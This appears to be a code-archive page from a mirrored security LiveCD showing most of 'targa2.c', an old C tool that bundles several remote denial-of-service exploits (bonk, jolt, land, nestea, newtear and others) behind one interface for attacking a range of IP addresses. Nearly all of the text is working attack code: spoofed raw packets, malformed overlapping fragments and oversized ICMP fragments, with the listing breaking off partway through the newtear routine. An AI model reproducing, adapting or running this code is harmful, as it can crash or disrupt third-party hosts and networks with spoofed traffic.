home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / targa2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  43KB  |  1,499 lines
  1. /* targa2.c - copyright by Mixter <mixter@popmail.com>
  2.    version 2.1 - released 22/3/99 - interface to 11
  3.    multi-platform remote denial of service exploits
  4.  
  5.    gcc -Wall -O2 targa2.c -o targa2 ; strip targa2 */
  6.  
  7. /*
  8.  *        featured exploits / authors / vulnerable platforms
  9.  * bonk by route|daemon9 & klepto              - win95, nameservers
  10.  * jolt by Jeff W. Roberson (overdrop: Mixter) - win95, klog (old linux)
  11.  * land by m3lt                                - win95/nt, old un*x's
  12.  * nestea by humble & ttol                     - older linux/bsd?
  13.  * newtear by route|daemon9                    - linux/bsd/win95/others
  14.  * syndrop by PineKoan                         - linux/win95/?
  15.  * teardrop by route|daemon9                   - lots of os's
  16.  * winnuke by _eci                             - win95/win31
  17.  * 1234 by DarkShadow/Flu                      - win95/98/nt/others?
  18.  * saihyousen by noc-wage                      - win98/firewalls/routers
  19.  * oshare by r00t zer0                         - win9x/NT/macintosh
  20.  */
  21.  
  22. /* http://members.xoom.com/i0wnu - code copyright by Mixter */
  23.  
  24. /* these are user definable */
  25. #define LANDPORT 113        /* remote port for land's */
  26. #define WNUKEPORT 139        /* port for winnukes */
  27.  
  28. #define LANDREP     15        /* repeat land attack x times */
  29. #define JOLTREP     15        /* repeat jolt attack x times */
  30. #define BONKREP     15        /* repeat bonk attack x times */
  31. #define WNUKEREP     0        /* repeat winnuke x times */
  32. #define COUNT       15        /* repeat frag attacks x times */
  33. #define NESCOUNT    15        /* repeat nestea attack x times */
  34. #define X1234COUNT  50        /* repeat 1234 attack x times */
  35. #define SAICOUNT    50        /* repeat saihyousen attack x times */
  36. #define OSHCOUNT    50        /* repeat oshare attack x times */
  37.  
  38. #define __FAVOR_BSD        /* for newer linux */
  39. #define TH_SYN 0x02        /* for lame includes */
  40.  
  41. #include <stdio.h>
  42. #include <stdlib.h>
  43. #include <string.h>
  44. #include <time.h>
  45. #include <getopt.h>
  46. #include <unistd.h>
  47. #include <arpa/inet.h>
  48. #include <netdb.h>
  49. #include <netinet/in.h>
  50. #include <netinet/in_systm.h>
  51. #include <netinet/ip.h>
  52. #include <netinet/ip_icmp.h>
  53. #include <netinet/tcp.h>
  54. #include <netinet/udp.h>
  55. #include <netinet/udp.h>
  56. #include <sys/socket.h>
  57. #include <sys/time.h>
  58. #include <sys/types.h>
  59. #define FIX(n)  htons(n)    /* define this to (n), if using BSD */
  60. #define IPH     0x14        /* IP header size */
  61. #define UDPH    0x8        /* UDP header size */
  62. #define IP_MF   0x2000        /* Fragmention offset */
  63. #define MAGIC   0x3        /* Teardrop Magic fragmentation constant (tm) */
  64. #define MAGIC2  108        /* Nestea Magic fragmentation constant (tm) */
  65. #define NESPADDING 256        /* Padding for Nestea */
  66. #define PADDING 0x14        /* Padding for other frag's */
  67. #define TCPH    sizeof(struct tcphdr)    /* TCP header size (nestea) */
  68. #define TPADDING 0x1c        /* Padding for original teardrop */
  69.  
  70. /* main() - user interface & some functions */
  71.  
  72. struct ipstuph
  73.   {
  74.     int p1;
  75.     int p2;
  76.     int p3;
  77.     int p4;
  78.   }
  79. startip, endip;
  80.  
  81. void targa (u_char *);
  82. u_long leet_resolve (u_char *);
  83. u_short in_cksum (u_short *, int);
  84. int hax0r (char *, int);
  85. int targa_help (u_char *);
  86. int bonk (char *);
  87. int jolt (char *);
  88. int land (char *);
  89. int nestea (char *);
  90. int newtear (char *);
  91. int syndrop (char *);
  92. int teardrop (char *);
  93. int winnuke (char *, int);
  94. int x1234 (char *);
  95. int saihyousen (char *);
  96. int oshare (char *);
  97.  
  98.  
  99. int
  100. main (int argc, char **argv)
  101. {
  102.   int count = 1, i, j, dostype = 0;
  103.   char hit_ip[18], dst_ip2[18], dst_ip[4096];
  104.  
  105.   fprintf (stderr, "\t\ttarga 2.1 by Mixter\n");
  106.   if ((argv[1] == "-help") || (argv[1] == "--help") || (argv[1] == "-h") || (argv[1] == "--h"))
  107.     targa_help (argv[0]);
  108.   if (argc < 3)
  109.     if (argc < 2)
  110.       targa (argv[0]);
  111.   strncpy (dst_ip, argv[1], 4096);
  112.   if (argc == 2)
  113.     {
  114.       strncpy (dst_ip2, argv[1], 18);
  115.     }
  116.   else
  117.     {
  118.       strncpy (dst_ip2, argv[2], 18);
  119.     }
  120.   if (sscanf (dst_ip, "%d.%d.%d.%d", &startip.p1, &startip.p2, &startip.p3, &startip.p4) != 4)
  121.     {
  122.       targa_help (argv[0]);
  123.       fprintf (stderr, "Error, %s: Please use a start IP containing 4 zones\n", argv[1]);
  124.       exit (1);
  125.     }
  126.   if (startip.p1 > 255)
  127.     {
  128.       targa_help (argv[0]);
  129.       fprintf (stderr, "Zone 1 of start ip is incorrect (greater than 255)\n");
  130.       exit (1);
  131.     }
  132.   if (startip.p2 > 255)
  133.     {
  134.       targa_help (argv[0]);
  135.       fprintf (stderr, "Zone 2 of start ip is incorrect (greater than 255)\n");
  136.       exit (1);
  137.     }
  138.   if (startip.p3 > 255)
  139.     {
  140.       targa_help (argv[0]);
  141.       fprintf (stderr, "Zone 3 of start ip is incorrect (greater than 255)\n");
  142.       exit (1);
  143.     }
  144.   if (startip.p4 > 255)
  145.     {
  146.       targa_help (argv[0]);
  147.       fprintf (stderr, "Zone 4 of start ip is incorret (greater than 255)\n");
  148.       exit (1);
  149.     }
  150.   if (sscanf (dst_ip2, "%d.%d.%d.%d", &endip.p1, &endip.p2, &endip.p3, &endip.p4) != 4)
  151.     {
  152.       targa_help (argv[0]);
  153.       fprintf (stderr, "Error, %s: Please use an end IP containing 4 zones\n", argv[2]);
  154.       exit (1);
  155.     }
  156.   if (endip.p1 > 255)
  157.     {
  158.       targa_help (argv[0]);
  159.       fprintf (stderr, "Zone 1 of end ip is incorrect (greater than 255)\n");
  160.       exit (1);
  161.     }
  162.   if (endip.p2 > 255)
  163.     {
  164.       targa_help (argv[0]);
  165.       fprintf (stderr, "Zone 2 of end ip is incorrect (greater than 255)\n");
  166.       exit (1);
  167.     }
  168.   if (endip.p3 > 255)
  169.     {
  170.       targa_help (argv[0]);
  171.       fprintf (stderr, "Zone 3 of end ip is incorrect (greater than 255)\n");
  172.       exit (1);
  173.     }
  174.   if (endip.p4 > 255)
  175.     {
  176.       targa_help (argv[0]);
  177.       fprintf (stderr, "Zone 4 of end ip is incorrect (greater than 255)\n");
  178.       exit (1);
  179.     }
  180.   if (startip.p1 != endip.p1)
  181.     {
  182.       targa_help (argv[0]);
  183.       fprintf (stderr, "Zone 1 of start ip and end ip is different\n");
  184.       exit (1);
  185.     }
  186.   if (startip.p2 != endip.p2)
  187.     {
  188.       targa_help (argv[0]);
  189.       fprintf (stderr, "Zone 2 of start ip and end ip is different\n");
  190.       exit (1);
  191.     }
  192.   if (startip.p3 != endip.p3)
  193.     {
  194.       targa_help (argv[0]);
  195.       fprintf (stderr, "Zone 3 of start ip and end ip is different\n");
  196.       exit (1);
  197.     }
  198.   while ((i = getopt (argc, argv, "t:n:h")) != EOF)
  199.     {
  200.       switch (i)
  201.         {
  202.         case 't':
  203.           dostype = atoi (optarg);    /* type of DOS */
  204.           break;
  205.         case 'n':        /* number to send */
  206.           count = atoi (optarg);
  207.           break;
  208.         case 'h':        /* quiet mode */
  209.           targa_help (argv[0]);
  210.           break;
  211.         default:
  212.           targa (argv[0]);
  213.           break;        /* NOTREACHED */
  214.         }
  215.     }
  216.   srandom ((unsigned) (time ((time_t) 0)));
  217.   srand (time (NULL));
  218.   fprintf (stderr, "Leetness on flaxen wings:\n");
  219.   fprintf (stderr, "To: %s - %s\n", dst_ip, dst_ip2);
  220.   fprintf (stderr, "Repeats: %5d\n", count);
  221.   fprintf (stderr, "   Type: %5d\n", dostype);
  222.  
  223.   for (j = startip.p4; j <= endip.p4; j++)
  224.     {
  225.       sprintf (hit_ip, "%d.%d.%d.%d", startip.p1, startip.p2, startip.p3, j);
  226.       fprintf (stderr, "%s [ ", hit_ip);
  227.       for (i = 0; i < count; i++)
  228.         {
  229.           hax0r (hit_ip, dostype);
  230.           usleep (10);
  231.         }
  232.       fprintf (stderr, " ]\n");
  233.     }
  234.   fprintf (stderr, "\t-all done-\n");
  235.   return (0);
  236. }
  237. int
  238. hax0r (char *vm, int te)
  239. {
  240.   int counter;
  241.   /* beginning of hardcoded ereetness :P */
  242.   if (te == 1 || te == 0)
  243.     bonk (vm);
  244.   if (te == 2 || te == 0)
  245.     jolt (vm);
  246.   if (te == 3 || te == 0)
  247.     land (vm);
  248.   if (te == 4 || te == 0)
  249.     nestea (vm);
  250.   if (te == 5 || te == 0)
  251.     newtear (vm);
  252.   if (te == 6 || te == 0)
  253.     syndrop (vm);
  254.   if (te == 7 || te == 0)
  255.     teardrop (vm);
  256.   if (te == 8 || te == 0)
  257.     {
  258.       if ((!WNUKEREP) && (te == 8))
  259.         winnuke (vm, 10);
  260.       winnuke (vm, WNUKEREP);
  261.     }
  262.   if (te == 9 || te == 0)
  263.     {
  264.       for (counter = 0; counter <= X1234COUNT; counter++)
  265.         x1234 (vm);
  266.     }
  267.   if (te == 10 || te == 0)
  268.     {
  269.       for (counter = 0; counter <= SAICOUNT; counter++)
  270.         saihyousen (vm);
  271.     }
  272.   if (te == 11 || te == 0)
  273.     {
  274.       for (counter = 0; counter <= OSHCOUNT; counter++)
  275.         oshare (vm);
  276.     }
  277.   return (31337);
  278. }
  279. u_long
  280. leet_resolve (u_char * host_name)
  281. {
  282.   struct in_addr addr;
  283.   struct hostent *host_ent;
  284.  
  285.   if ((addr.s_addr = inet_addr (host_name)) == -1)
  286.     {
  287.       if (!(host_ent = gethostbyname (host_name)))
  288.         return (0);
  289.       bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  290.     }
  291.   return (addr.s_addr);
  292. }
  293. void
  294. targa (u_char * name)
  295. {
  296.   fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  297.   exit (0);
  298. }
  299. int
  300. targa_help (u_char * name)
  301. {
  302.   fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  303.   fprintf (stderr, "startIP - endIP: IP range to send packets to (destination)\n");
  304.   fprintf (stderr, "start and end must be on the same C class (1.1.1.X)\n");
  305.   fprintf (stderr, "repeats: repeat the whole cycle n times (default is 1)\n");
  306.   fprintf (stderr, "type: kind of remote DoS to send (default is 0)\n");
  307.   fprintf (stderr, "1 = bonk ($)  2 = jolt (@)  3 = land (-)\n");
  308.   fprintf (stderr, "4 = nestea (.)  5 = newtear (#)\n");
  309.   fprintf (stderr, "6 = syndrop (&)  7 = teardrop (%%)  8 = winnuke (*)\n");
  310.   fprintf (stderr, "9 = 1234 (!)  10 = saihyousen (+)  11 = oshare (|)\n");
  311.   fprintf (stderr, "0 = use all remote DoS types at once\n");
  312.   exit (0);
  313. }
  314.  
  315. u_short
  316. in_cksum (u_short * addr, int len)
  317. {
  318.   int nleft = len, sum = 0;
  319.   u_short *w = addr, answer = 0;
  320.   while (nleft > 1)
  321.     {
  322.       sum += *w++;
  323.       nleft -= 2;
  324.     }
  325.   if (nleft == 1)
  326.     {
  327.       *(u_char *) (&answer) = *(u_char *) w;
  328.       sum += answer;
  329.     }
  330.   sum = (sum >> 16) + (sum & 0xffff);
  331.   sum += (sum >> 16);
  332.   answer = ~sum;
  333.   return (answer);
  334. }
  335.  
  336. /* bonk(destination) */
  337.  
  338. struct udp_pkt
  339.   {
  340.     struct iphdr ip;
  341.     struct udphdr udp;
  342.     char data[0x1c];
  343.   }
  344. pkt;
  345.  
  346. int udplen = sizeof (struct udphdr), iplen = sizeof (struct iphdr), datalen = 100,
  347.              psize = sizeof (struct udphdr) + sizeof (struct iphdr) + 0x1c, spf_sck;    /* Socket */
  348.  
  349. u_long
  350. host_to_ip (char *host_name)
  351. {
  352.   static u_long ip_bytes;
  353.   struct hostent *res;
  354.   res = gethostbyname (host_name);
  355.   if (res == NULL)
  356.     return (0);
  357.   memcpy (&ip_bytes, res->h_addr, res->h_length);
  358.   return (ip_bytes);
  359. }
  360.  
  361. void
  362. quit (char *reason)
  363. {
  364.   perror (reason);
  365.   close (spf_sck);
  366.   exit (-1);
  367. }
  368.  
  369. int
  370. fondle (int sck, u_long src_addr, u_long dst_addr, int src_prt,
  371.         int dst_prt)
  372. {
  373.   int bs;
  374.   struct sockaddr_in to;
  375.  
  376.   memset (&pkt, 0, psize);
  377.   /* Fill in ip header */
  378.   pkt.ip.version = 4;
  379.   pkt.ip.ihl = 5;
  380.   pkt.ip.tot_len = htons (udplen + iplen + 0x1c);
  381.   pkt.ip.id = htons (0x455);
  382.   pkt.ip.ttl = 255;
  383.   pkt.ip.protocol = IPPROTO_UDP;
  384.   pkt.ip.saddr = src_addr;
  385.   pkt.ip.daddr = dst_addr;
  386.   pkt.ip.frag_off = htons (0x2000);    /* more to come */
  387.  
  388.   pkt.udp.source = htons (src_prt);    /* udp header */
  389.   pkt.udp.dest = htons (dst_prt);
  390.   pkt.udp.len = htons (8 + 0x1c);
  391.   /* send 1st frag */
  392.  
  393.   to.sin_family = AF_INET;
  394.   to.sin_port = src_prt;
  395.   to.sin_addr.s_addr = dst_addr;
  396.  
  397.   bs = sendto (sck, &pkt, psize, 0, (struct sockaddr *) &to,
  398.                sizeof (struct sockaddr));
  399.  
  400.   pkt.ip.frag_off = htons (0x3 + 1);    /* shinanigan */
  401.   pkt.ip.tot_len = htons (iplen + 0x3);
  402.   /* 2nd frag */
  403.  
  404.   bs = sendto (sck, &pkt, iplen + 0x3 + 1, 0,
  405.                (struct sockaddr *) &to, sizeof (struct sockaddr));
  406.  
  407.   return bs;
  408. }
  409.  
  410. int
  411. bonk (char *bonk_host)
  412. {
  413.   int i, src_prt = 53, dst_prt = 53, bs = 1, pkt_count = BONKREP;
  414.   u_long dst_addr = host_to_ip (bonk_host);
  415.   if (!dst_addr)
  416.     quit ("bad target host");
  417.   spf_sck = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  418.   if (!spf_sck)
  419.     quit ("socket()");
  420.   if (setsockopt (spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
  421.                   sizeof (bs)) < 0)
  422.     quit ("IP_HDRINCL");
  423.   for (i = 0; i < pkt_count; ++i)
  424.     {
  425.       fondle (spf_sck, rand (), dst_addr, src_prt, dst_prt);
  426.       fprintf (stderr, "$");
  427.       usleep (1000);
  428.     }
  429.   close (spf_sck);
  430.   return 0;
  431. }
  432.  
  433. /* jolt(destination) */
  434.  
  435. int
  436. jolt (char *jolt_host)
  437. {
  438.   int s, i;
  439.   char buf[400];
  440.   struct ip *ip = (struct ip *) buf;
  441.   struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
  442.   struct hostent *hp;
  443.   struct sockaddr_in dst;
  444.   int offset, on = 1, num = JOLTREP;
  445.  
  446.   bzero (buf, sizeof buf);
  447.  
  448.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  449.     {
  450.       perror ("socket");
  451.       exit (1);
  452.     }
  453.   if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
  454.     {
  455.       perror ("IP_HDRINCL");
  456.       exit (1);
  457.     }
  458.   for (i = 1; i <= num; i++)
  459.     {
  460.  
  461.       if ((hp = gethostbyname (jolt_host)) == NULL)
  462.         {
  463.           if ((ip->ip_dst.s_addr = inet_addr (jolt_host)) == -1)
  464.             {
  465.               fprintf (stderr, "%s: unknown host\n", jolt_host);
  466.               exit (1);
  467.             }
  468.         }
  469.       else
  470.         {
  471.           bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  472.         }
  473.  
  474.       ip->ip_src.s_addr = rand ();
  475.       fprintf (stderr, "@");
  476.       inet_ntoa (ip->ip_dst);
  477.       ip->ip_v = 4;
  478.       ip->ip_hl = sizeof *ip >> 2;
  479.       ip->ip_tos = 0;
  480.       ip->ip_len = htons (sizeof buf);
  481.       ip->ip_id = htons (4321);
  482.       ip->ip_off = htons (0);
  483.       ip->ip_ttl = 255;
  484.       ip->ip_p = 1;
  485.  
  486.       dst.sin_addr = ip->ip_dst;
  487.       dst.sin_family = AF_INET;
  488.  
  489.       icmp->type = ICMP_ECHO;
  490.       icmp->code = 0;
  491.       icmp->checksum = htons (~(ICMP_ECHO << 8));
  492.       for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
  493.         {
  494.           ip->ip_off = htons (offset >> 3);
  495.           if (offset < 65120)
  496.             ip->ip_off |= htons (0x2000);
  497.           else
  498.             ip->ip_len = htons (418);    /* make total 65538 */
  499.           if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
  500.                       sizeof dst) < 0)
  501.             {
  502.               fprintf (stderr, "offset %d: ", offset);
  503.               perror ("sendto");
  504.             }
  505.           if (offset == 0)
  506.             {
  507.               icmp->type = 0;
  508.               icmp->code = 0;
  509.               icmp->checksum = 0;
  510.             }
  511.         }
  512.     }
  513.   close (s);
  514.   return 0;
  515. }
  516.  
  517. /* land(destination,port) */
  518.  
  519. typedef u_long tcp_seq;
  520. struct tcxhdr
  521.   {
  522.     u_short th_sport;
  523.     u_short th_dport;
  524.     tcp_seq th_seq;
  525.     tcp_seq th_ack;
  526. #if __BYTE_ORDER == __LITTLE_ENDIAN
  527. u_char th_x2:
  528. 4, th_off:
  529.     4;
  530. #endif
  531. #if __BYTE_ORDER == __BIG_ENDIAN
  532. u_char th_off:
  533. 4, th_x2:
  534.     4;
  535. #endif
  536.     u_char th_flags;
  537.     u_short th_win;
  538.     u_short th_sum;
  539.     u_short th_urp;
  540.   };
  541.  
  542. struct pseudohdr
  543.   {
  544.     struct in_addr saddr;
  545.     struct in_addr daddr;
  546.     u_char zero;
  547.     u_char protocol;
  548.     u_short length;
  549.     struct tcxhdr tcpheader;
  550.   };
  551.  
  552. u_short
  553. checksum (u_short * data, u_short length)
  554. {
  555.   register long value = 0;
  556.   u_short i;
  557.  
  558.   for (i = 0; i < (length >> 1); i++)
  559.     value += data[i];
  560.  
  561.   if ((length & 1) == 1)
  562.     value += (data[i] << 8);
  563.  
  564.   value = (value & 65535) + (value >> 16);
  565.  
  566.   return (~value);
  567. }
  568.  
  569. int
  570. land (char *land_host)
  571. {
  572.   struct sockaddr_in sin;
  573.   struct hostent *hoste;
  574.   int sock, i;
  575.   char buffer[40];
  576.   struct iphdr *ipheader = (struct iphdr *) buffer;
  577.   struct tcxhdr *tcpheader = (struct tcxhdr *) (buffer + sizeof (struct iphdr));
  578.   struct pseudohdr pseudoheader;
  579.   static int land_port = LANDPORT;
  580.   bzero (&sin, sizeof (struct sockaddr_in));
  581.   sin.sin_family = AF_INET;
  582.  
  583.   if ((hoste = gethostbyname (land_host)) != NULL)
  584.     bcopy (hoste->h_addr, &sin.sin_addr, hoste->h_length);
  585.   else if ((sin.sin_addr.s_addr = inet_addr (land_host)) == -1)
  586.     {
  587.       fprintf (stderr, "unknown host %s\n", land_host);
  588.       return (-1);
  589.     }
  590.  
  591.   if ((sin.sin_port = htons (land_port)) == 0)
  592.     return (-1);
  593.   if ((sock = socket (AF_INET, SOCK_RAW, 255)) == -1)
  594.     return (-1);
  595.  
  596.   bzero (&buffer, sizeof (struct iphdr) + sizeof (struct tcxhdr));
  597.   ipheader->version = 4;
  598.   ipheader->ihl = sizeof (struct iphdr) / 4;
  599.   ipheader->tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcxhdr));
  600.   ipheader->id = htons (0xF1C);
  601.   ipheader->ttl = 255;
  602.   ipheader->protocol = IPPROTO_TCP;
  603.   ipheader->saddr = sin.sin_addr.s_addr;
  604.   ipheader->daddr = sin.sin_addr.s_addr;
  605.  
  606.   tcpheader->th_sport = sin.sin_port;
  607.   tcpheader->th_dport = sin.sin_port;
  608.   tcpheader->th_seq = htonl (0xF1C);
  609.   tcpheader->th_flags = TH_SYN;
  610.   tcpheader->th_off = sizeof (struct tcxhdr) / 4;
  611.   tcpheader->th_win = htons (2048);
  612.  
  613.   bzero (&pseudoheader, 12 + sizeof (struct tcxhdr));
  614.   pseudoheader.saddr.s_addr = sin.sin_addr.s_addr;
  615.   pseudoheader.daddr.s_addr = sin.sin_addr.s_addr;
  616.   pseudoheader.protocol = 6;
  617.   pseudoheader.length = htons (sizeof (struct tcxhdr));
  618.   bcopy ((char *) tcpheader, (char *) &pseudoheader.tcpheader, sizeof (struct tcxhdr));
  619.   tcpheader->th_sum = checksum ((u_short *) & pseudoheader, 12 + sizeof (struct tcxhdr));
  620.   for (i = 0; i < LANDREP; i++)
  621.     {
  622.       if (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcxhdr), 0, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) == -1)
  623.         {
  624.           fprintf (stderr, "couldn't send packet\n");
  625.           return (-1);
  626.         }
  627.       fprintf (stderr, "-");
  628.     }
  629.   close (sock);
  630.   return (0);
  631. }
  632.  
  633. /* nestea(source, destination) */
  634.  
  635. u_long name_resolve (u_char *);
  636. void send_nes (int, u_long, u_long, u_short, u_short);
  637.  
  638. int
  639. nestea (char *nes_host)
  640. {
  641.   int one = 1, count = 0, i, rip_sock;
  642.   u_long src_ip = 0, dst_ip = 0;
  643.   u_short src_prt = 0, dst_prt = 0;
  644.   struct in_addr addr;
  645.  
  646.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  647.     {
  648.       perror ("raw socket");
  649.       exit (1);
  650.     }
  651.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  652.       < 0)
  653.     {
  654.       perror ("IP_HDRINCL");
  655.       exit (1);
  656.     }
  657.   if (!(dst_ip = name_resolve (nes_host)))
  658.     {
  659.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  660.       exit (1);
  661.     }
  662.   src_ip = rand ();
  663.   srandom ((unsigned) (time ((time_t) 0)));
  664.   src_prt = (random () % 0xffff);
  665.   dst_prt = (random () % 0xffff);
  666.   count = NESCOUNT;
  667.  
  668.   addr.s_addr = src_ip;
  669.   addr.s_addr = dst_ip;
  670.   for (i = 0; i < count; i++)
  671.     {
  672.       send_nes (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  673.       fprintf (stderr, ".");
  674.       usleep (500);
  675.     }
  676.   close (rip_sock);
  677.   return (0);
  678. }
  679.  
  680. void
  681. send_nes (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  682.           u_short dst_prt)
  683. {
  684.   int i;
  685.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  686.   u_char byte;            /* a byte */
  687.   struct sockaddr_in sin;    /* socket protocol structure */
  688.  
  689.   sin.sin_family = AF_INET;
  690.   sin.sin_port = src_prt;
  691.   sin.sin_addr.s_addr = dst_ip;
  692.  
  693.   packet = (u_char *) malloc (IPH + UDPH + NESPADDING + 40);
  694.   p_ptr = packet;
  695.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
  696.  
  697.   byte = 0x45;            /* IP version and header length */
  698.   memcpy (p_ptr, &byte, sizeof (u_char));
  699.   p_ptr += 2;            /* IP TOS (skipped) */
  700.   *((u_short *) p_ptr) = FIX (IPH + UDPH + 10);        /* total length */
  701.   p_ptr += 2;
  702.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  703.   p_ptr += 2;
  704.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  705.   p_ptr += 2;
  706.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  707.   byte = IPPROTO_UDP;
  708.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  709.   p_ptr += 4;            /* IP checksum filled in by kernel */
  710.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  711.   p_ptr += 4;
  712.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  713.   p_ptr += 4;
  714.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  715.   p_ptr += 2;
  716.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  717.   p_ptr += 2;
  718.   *((u_short *) p_ptr) = htons (8 + 10);    /* UDP total length */
  719.  
  720.   if (sendto (sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *) &sin,
  721.               sizeof (struct sockaddr)) == -1)
  722.     {
  723.       perror ("\nsendto");
  724.       free (packet);
  725.       exit (1);
  726.     }
  727.  
  728.   p_ptr = packet;
  729.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
  730.  
  731.   byte = 0x45;            /* IP version and header length */
  732.   memcpy (p_ptr, &byte, sizeof (u_char));
  733.   p_ptr += 2;            /* IP TOS (skipped) */
  734.   *((u_short *) p_ptr) = FIX (IPH + UDPH + MAGIC2);    /* total length */
  735.   p_ptr += 2;
  736.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  737.   p_ptr += 2;
  738.   *((u_short *) p_ptr) = FIX (6);    /* IP frag flags and offset */
  739.   p_ptr += 2;
  740.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  741.   byte = IPPROTO_UDP;
  742.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  743.   p_ptr += 4;            /* IP checksum filled in by kernel */
  744.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  745.   p_ptr += 4;
  746.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  747.   p_ptr += 4;
  748.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  749.   p_ptr += 2;
  750.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  751.   p_ptr += 2;
  752.   *((u_short *) p_ptr) = htons (8 + MAGIC2);    /* UDP total length */
  753.  
  754.   if (sendto (sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *) &sin,
  755.               sizeof (struct sockaddr)) == -1)
  756.     {
  757.       perror ("\nsendto");
  758.       free (packet);
  759.       exit (1);
  760.     }
  761.  
  762.   p_ptr = packet;
  763.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING + 40);
  764.   byte = 0x4F;            /* IP version and header length */
  765.   memcpy (p_ptr, &byte, sizeof (u_char));
  766.   p_ptr += 2;            /* IP TOS (skipped) */
  767.   *((u_short *) p_ptr) = FIX (IPH + UDPH + NESPADDING + 40);
  768.   p_ptr += 2;
  769.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  770.   p_ptr += 2;
  771.   *((u_short *) p_ptr) = 0 | FIX (IP_MF);    /* IP frag flags and offset */
  772.   p_ptr += 2;
  773.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  774.   byte = IPPROTO_UDP;
  775.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  776.   p_ptr += 4;            /* IP checksum filled in by kernel */
  777.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  778.   p_ptr += 4;
  779.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  780.   p_ptr += 44;
  781.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  782.   p_ptr += 2;
  783.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  784.   p_ptr += 2;
  785.   *((u_short *) p_ptr) = htons (8 + NESPADDING);    /* UDP total length */
  786.  
  787.   for (i = 0; i < NESPADDING; i++)
  788.     {
  789.       p_ptr[i++] = random () % 255;
  790.     }
  791.  
  792.   if (sendto (sock, packet, IPH + UDPH + NESPADDING, 0, (struct sockaddr *) &sin,
  793.               sizeof (struct sockaddr)) == -1)
  794.     {
  795.       perror ("\nsendto");
  796.       free (packet);
  797.       exit (1);
  798.     }
  799.   free (packet);
  800. }
  801.  
  802. u_long
  803. name_resolve (u_char * host_name)
  804. {
  805.   struct in_addr addr;
  806.   struct hostent *host_ent;
  807.  
  808.   if ((addr.s_addr = inet_addr (host_name)) == -1)
  809.     {
  810.       if (!(host_ent = gethostbyname (host_name)))
  811.         return (0);
  812.       bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  813.     }
  814.   return (addr.s_addr);
  815. }
  816.  
  817. /* newtear(destination) */
  818.  
  819. void newt_frags (int, u_long, u_long, u_short, u_short);
  820.  
  821. int
  822. newtear (char *newt_host)
  823. {
  824.   int one = 1, count = 0, i, rip_sock;
  825.   u_long src_ip = 0, dst_ip = 0;
  826.   u_short src_prt = 0, dst_prt = 0;
  827.   struct in_addr addr;
  828.  
  829.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  830.     {
  831.       perror ("raw socket");
  832.       exit (1);
  833.     }
  834.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  835.       < 0)
  836.     {
  837.       perror ("IP_HDRINCL");
  838.       exit (1);
  839.     }
  840.   if (!(dst_ip = name_resolve (newt_host)))
  841.     {
  842.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  843.       exit (1);
  844.     }
  845.   src_ip = rand ();
  846.   srandom ((unsigned) (time ((time_t) 0)));
  847.   src_prt = (random () % 0xffff);
  848.   dst_prt = (random () % 0xffff);
  849.   count = COUNT;
  850.  
  851.   addr.s_addr = src_ip;
  852.   addr.s_addr = dst_ip;
  853.  
  854.   for (i = 0; i < count; i++)
  855.     {
  856.       newt_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  857.       fprintf (stderr, "#");
  858.       usleep (500);
  859.     }
